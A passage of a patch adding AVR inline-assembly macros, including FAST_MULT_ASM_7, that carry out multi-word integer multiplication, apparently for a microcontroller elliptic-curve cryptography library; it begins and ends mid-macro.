"add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r21, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r6, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r12, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r6, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r13, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r6, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r14, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r6, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r15, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r6, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r7, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r8, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r9, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r10, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r11, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r3, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r4, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "mul r5, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "st z+, r22 \n\t" \ + "st z+, r23 \n\t" \ + "eor r1, r1 \n\t" + +#define FAST_MULT_ASM_7 \ + "adiw r30, 20 \n\t" \ + "adiw r28, 20 \n\t" \ + "ld r2, x+ \n\t" \ + "ld r3, x+ \n\t" \ + "ld r4, x+ \n\t" \ + "ld r5, x+ \n\t" \ + "ld r6, x+ \n\t" \ + "ld r7, x+ \n\t" \ + "ld r8, x+ \n\t" \ + "ld r9, x+ \n\t" \ + "ld r12, y+ \n\t" \ + "ld r13, y+ \n\t" \ + "ld r14, y+ \n\t" \ + "ld r15, y+ \n\t" \ + "ld r16, y+ \n\t" \ + "ld r17, y+ \n\t" \ + "ld r18, y+ \n\t" \ + "ld r19, y+ \n\t" \ + "ldi r25, 0 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r12 \n\t" \ + "st z+, r0 \n\t" \ + "mov r22, r1 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "mul r3, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r3, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r4, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r5, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r6, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r7, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r8, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "mul r9, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "st z+, r23 \n\t" \ + "st z+, r24 \n\t" \ + \ + "sbiw r30, 26 \n\t" \ + "sbiw r28, 18 \n\t" \ + "ld r12, y+ \n\t" \ + "ld r13, y+ \n\t" \ + "ld r14, y+ \n\t" \ + "ld r15, y+ \n\t" \ + "ld r16, y+ \n\t" \ + "ld r17, y+ \n\t" \ + "ld r18, y+ \n\t" \ + "ld r19, y+ \n\t" \ + "ld r20, y+ \n\t" \ + "ld r21, y+ \n\t" \ + "ld r10, x+ \n\t" \ + "ld r11, x+ \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r12 \n\t" \ + "st z+, r0 \n\t" \ + "mov r22, r1 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "mul r3, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r13 